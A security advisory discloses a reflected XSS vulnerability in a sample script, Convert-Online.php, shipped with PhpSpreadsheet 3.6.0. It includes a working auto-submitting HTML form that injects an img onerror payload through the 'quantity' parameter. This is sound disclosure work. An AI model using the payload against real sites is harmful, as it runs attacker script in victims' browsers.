GHSA-x88g-h956-m5xg

# Unauthorized Reflected XSS in `Convert-Online.php` file
**Product**: Phpspreadsheet
**Version**: version 3.6.0
**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)
**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)
**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` script, an attacker can perform a XSS-type attack
**Impact**: executing arbitrary JavaScript code in the browser
**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file
**Exploitation conditions**: an unauthorized user
**Mitigation**: sanitization of the quantity variable
**Researcher**: Aleksey Solovev (Positive Technologies)

# Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Convert-Online.php` file) in Phpspreadsheet.

There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php` file, which leads to the possibility of a XSS attack.

![fig4](https://github.com/user-attachments/assets/71a6ab8b-db65-4e7e-bb36-39f0bd0f7077)

*Figure 4. The message with the quantity parameter is displayed without sanitization*

The following figure shows a POST HTTP-request and a response to the server with the variable quantity, which is displayed in the response from the server without sanitization.

*Figure 5. In the server's response , the quantity variable is displayed without sanitization*

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

*Listing 3. HTML form that demonstrates the exploitation of the XSS vulnerability*

```
<html>

<body>
<form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Engineering/Convert-Online.php" method="POST">
<input type="hidden" name="category" value="Weight and Mass" />
<input type="hidden" name="quantity" value="1.0<img src=1 onerror=alert()>" />
<input type="hidden" name="fromUnit" value="g" />
<input type="hidden" name="toUnit" value="g" />
<input type="hidden" name="submitx" value="Convert" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```

After the user visits the attacker's resource, the form will be sent to the vulnerable scenario, which will lead to the execution of arbitrary code in the client's browser.

<img width="389" alt="fig6" src="https://github.com/user-attachments/assets/e52b68c6-5a98-4db2-85ec-5bf37e4cb625" />

*Figure 6. Executing arbitrary JavaScript code*

# Credit
This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**

PhpSpreadsheet allows unauthorized Reflected XSS in `Convert-Online.php` file

Advisory Details

Affected Packages

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